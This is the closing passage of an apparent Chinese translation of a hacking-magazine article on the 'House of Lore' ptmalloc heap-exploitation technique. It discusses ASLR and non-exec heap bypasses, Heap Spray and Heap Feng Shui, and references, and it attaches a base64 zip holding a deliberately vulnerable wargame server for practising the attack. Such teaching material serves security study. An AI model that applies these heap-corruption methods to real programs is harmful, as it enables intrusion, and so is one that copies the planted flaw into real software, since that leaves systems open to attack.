关于元数据:通过把地址和size存储在哈希表中追踪mmaped区域,保持chunk分配中现有的数据结构,是一个空闲区域的含有一定数目的slots的缓存(cache)。
空闲区域缓存(cache)
1.-保管空闲区域,便于进一步得利用。
2.-大区域不会直接映射。
3.-如果缓存的页面过多,取消某些映射。
4.-随机搜索合适区域,降低重用区域的可预测性。
5.-缓存区的页面随意地被标记为PROT_NONE <<从互联网上获取信息就像从
消防栓中拿水来喝一样 。 >>
[ Mitchell Kapor ] .-----------------------------.
---[ 5 ---[ Miscellany, ASLR and More ]--- 杂物,地址空间布局随机化(Address Space Layout Randomization) 及其他
.-----------------------------.
我们已经提及过ASLR(地址空间布局随机化)及Malloc Des-Maleficarum论文中的Non Exec Heap,现在我们也同样地讲下我们研究的方法:
为了这项技术的目的,我想在本文所有的举例中关闭ASLR。如果这个防护实施在现实程序中,那么随机化只影响栈中的最后一个fake chunk的位置和我们预测最接近可写的存储返还地址的内存地址的能力。这不应该是一个完全不可能的任务,并且我们考虑到暴力攻击一直都是我们大多的限制局面中能使用的方法。
很明显,non-exec heap没有影响到本文讲到的技巧。有人可能会任意放置shellcode,尽管我们警告过如果堆不可执行,对应的栈也有可能一样不可执行。所以我们应该使用ret2libc类型攻击或者返回到mprotect( )从而回避这次的防护。
这是一个老套的话题了,每个人都知道怎样去分析系统被攻击的问题。
不幸的是,我没有在这里展示现实生活中的exploit。但是我们可以聊一些关于攻击成功的可靠性和潜能。
先决条件已经很明白了,在文章各处都有讲到。我在这里讲的PoC与你每天使用的应用程序(包括email客户端,web游览器)之间的明显不同之处是:不能第一时间预测堆的现有状态。这确实是个问题,因为当堆不够稳定及难以预测时,exploit的机会最小。
但高级的黑客已经见过这种级别的问题啦,并且随着时间设计开发出了一系列的技术,这些技术可以实现堆的重排序,使作为数据存储在堆中的已分配的chunk成为用户可控制的参数。在这些技术当中,我们必须指出两个最有名的:
- 堆喷射(Heap Spray)
- 堆风水(Heap Feng Shui)
.
你可以在下文BlackHat 2007 [8]处了解下这两个堆。总而言之我们可以说"Heap Spray"技术只是通过请求大量的内存重复分配给nop sled和恰当的shellcode,从而能尽可能地填充堆。接着为"原始的4-byte 改写"("primitive 4-byte overwrite")找出可预测的内存地址。这个技术的亮点是使nop sled值与所选的地址相同,导致了它自我指涉(self-referential)。
Feng Shui更是一个巧妙的技术,它首先尝试通过填充漏洞去重组(defragment)堆。接着返回上一步控制的区域创建漏洞,结果是内存保持为:
[ chunk | hole | chunk | hole | chunk | hole | chunk ]
…并最终创建缓存区使某个漏洞(hole)溢出,所以这将一直接近于它的某个含有exploiter控制的信息的缓存区。
这里也不想多说了,我只想说尽管这些方法论看上去会很费时间,或者导致你视觉疲劳,但没有这些就没有人能进行可靠的exploit,或者在大多尝试中取得成功。(译者注:没有共产党,就没有新中国…鼓掌!) << 如今的编程就是力图设计更大更好的傻瓜程序的软件工程派和尝试
生产出更大更好的傻瓜的宇宙派之间的竞赛,目前看来,是宇宙派赢了。>>
[ Rich Cook ] .---------------.
---[ 6 ---[ 总结 ]---
.---------------.
在这篇文章中我们看到了The House of Lore是如何深藏不漏的。我们同时也给出了一个有趣的例子,展示了不管它的防御能力有多强,也抵不过我们在此文中叙述的攻击方法。
我们详述了同样基于corruption of a largebin的第二个攻击方法,这个方法在某些环境中时个不错的选择,它的重要性等同于smallbin corruption。
最后我们详述了在Ptmalloc程序库3版本中应用THoL,但出于Ptmalloc程序库强加的种种束缚,很多人认为THoL的攻击是无效的。
回顾和深入分析一些在这个程序库里面的安全机制,今后仍然需要更多的学习去挖掘出新的漏洞,为了个人的乐趣和利益控制些新代码。
如果你想我给些提高黑客技术的建议,那我就列出来吧:
博览群书,刻苦专研… 接着抛开所有,并尝试着不同方法去实践这些知识,要做好它。装满你的杯子,再倒空它,接着再用新鲜的水去装满它。
最后,我想提下我在"Malloc Des-Maleficarum"论文中讲过的话:
"...关于 The House of Lore, 虽然不适于一个可靠的案例,但没人能说它是个完全的例外…"
我希望我的文章能改变对些固有词语的常规理解,并给出了一些你们在hacking过程中常犯的却从不停止去改正的错误。我们所做的一切是为了开心,只要我们还活在世上,活在网络空间里,我们会一直继续下去.. <<所有的真理在被发现之后都很
容易理解,但重点是如何发现>>
[ Galileo Galilei ] .-------------------.
---[ 7 ---[ 致谢 ]---
.-------------------.
首先,我要感谢Dreg坚持不懈的精神,这同时也鼓励了我继续完成这篇文章,不至于让它半途而废。在一段糟糕的经历后…我在RootedCon [9]处想停止编写,但Dreg仍然和蔼地鼓励我完成编写并最终发表在了这个不可思议的具有重大影响意义的黑客杂志上。
实际上,这篇文章的最后一部分是Dreg的作品,如果没有Dreg无私的付出,这篇文章就不会跟现在一样了。
其他的同样也要感谢所有我在dsrCON认识的朋友!他们非常友好,外向活泼,也特别地疯狂!在这里就不列出名字了,致给他们所有的人,谢谢!
记住…
Happy Hacking! .--------------.
---[ 8 ---[ 参考文献 ]---
.--------------.
[1] Malloc Maleficarum
http://www.packetstormsecurity.org/papers/attack/MallocMaleficarum.txt
[2] Malloc Des-Maleficarum
http://www.phrack.org/issues.html?issue=66&id=10
[3] PTMALLOC (v2 & v3)
http://www.malloc.de/en/
[4] Reducing the effective entropy of gs cookies
http://uninformed.org/?v=7&a=2&t=sumry
[5] Electric Fence - Red-Zone memory allocator
http://perens.com/FreeSoftware/ElectricFence/
electric-fence_2.1.13-0.1.tar.gz
[6] Jemalloc - A Scalable Concurrent malloc(3) Implementacion for FreeBSD
http://people.freebsd.org/~jasone/jemalloc/bsdcan2006/jemalloc.pdf
[7] Guard Malloc (Enabling the Malloc Debugging Features)
http://developer.apple.com/mac/library/documentation/Darwin/Reference/
ManPages/man3/Guard_Malloc.3.html
[8] Heap Feng Shui in JavaScript - BlackHat Europe 2007
http://www.blackhat.com/presentations/bh-europe-07/Sotirov/
Presentation/bh-eu-07-sotirov-apr19.pdf
[9] Rooted CON: Congreso de Seguridad Informatica (18-20 Marzo 2010)
http://www.rootedcon.es/
[10] dnmalloc
http://www.fort-knox.org/taxonomy/term/3
[11] OpenBSD malloc
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdlib/malloc.c
[12] Dnmaloc - A more secure memory allocator by Yves Younan,
Wouter Joosen, Frank Piessens and Hans Van den Eynden
http://www.orkspace.net/secdocs/Unix/Protection/Description/
Dnmaloc%20-%20A%20more%20secure%20memory%20allocator.pdf
[13] A new malloc(3) for OpenBSD by Otto Moerbeek
http://www.tw.openbsd.org/papers/eurobsdcon2009/otto-malloc.pdf .----------------.
---[ 9 ---[ 野战代码 ]---
.----------------.
在这最后一节我们附上上面所讲"agents.c"程序代码,但这里的代码是更加精致而坚固的,适用于网络环境中的服务端的野战游戏。
像往常一样,"netagents.c"在每次连接时分岔子进程,因为每个新的进程都有各自的堆,所有攻击者面对的是一个0漏洞的进程,每个操作都不会影响其他的。
代码应当顺着构建及开发野战游戏的经理需求来写(如果游戏变得很难,你还需要给黑客提供允许参加的人数或者需要解决的问题)。
附件文档包括了生成文件,假设了跟源文件相同的目录是个连接netagents.c 的ptmalloc2 (libmalloc.a)的编译程序库。每个都应允许"malloc.c"输出它认为重要的信息,但基础是在本文中所作出的改动,让攻击者知道从哪里获取请求的内存chunk。
攻击者是如何得到这些改动的输出呢?简单来讲,"netagents.c"通过关闭标准输出(stdout)并使用最近得到的client socket(dup(CustomerID))复制stdout从而阻止调用send( ) 。我们在shellcode上也使用同样的方法。
"netagents.c"同时也包括了一个新的菜单选项,“显示堆状态”( Show Heap State),为了在执行中查看正在分配或是已释放的内存块的状态,我们可以通过这个选项查看是否有空闲chunk的字节头被重写。在一些合法行动之后,正常的输入将如下所示:
+--------------------------------+
| Allocated Chunk (0x8093004) | -> Agents[0]
+--------------------------------+
| SIZE = 0x00000019 |
+--------------------------------+
+--------------------------------+
| Allocated Chunk (0x809301c) | -> Agents[1]
+--------------------------------+
| SIZE = 0x00000019 |
+--------------------------------+
+--------------------------------+
| Allocated Chunk (0x8093034) | -> Agents[1]->name
+--------------------------------+
| SIZE = 0x00000029 |
+--------------------------------+
+--------------------------------+
| Free Chunk (0x8093058) | -> Agents[1]->lastname
+--------------------------------+
| PREV_SIZE = 0x00000000 |
+--------------------------------+
| SIZE = 0x00000089 |
+--------------------------------+
| FD = 0x08050168 |
+--------------------------------+
| BK = 0x08050168 |
+--------------------------------+
+--------------------------------+
| Allocated Chunk (0x80930e4) | -> Agents[1]->desc
+--------------------------------+
| SIZE = 0x00000108 |
+--------------------------------+ 接着在2.2.2讲过的perl exploit例子,有人可能会设计出C中的exploit,通过子进程不断地收到服务器(功能表和提示性语言)的回复,同时父类暂停了一会再回复这些问题,例如每秒一个回复(如果你懂怎样执行这程序..)困难的是预测出栈的地址,这是在攻击中的最后一个阶段,最后一个保留的chunk应该跟创建的"edit_lastname( )"结构一样,因为这是我们重写存储的返回地址的地方,并且程序可能在这里中断(很明显,ASLR已经预料到到所需克服的复杂性了)
那尝试失败和段失败之后会发生什么呢?程序捕获SIGSEGV并通知攻击者说不好的事情已发生,并鼓励他重新接通。子进程是唯一一个变得不稳定的,因此一个新的连接为新的攻击铺开了道路。
最后一个能给攻击者的援救是传递源代码,便于攻击者在本地研究漏洞,并接着在网络环境中实现它的攻击。
附件:
begin-base64 644 thol.zip
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
TOPXtUxQSwUGAAAAAAkACQCdAgAA4w8AAAAA
====
--------[ EOF
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课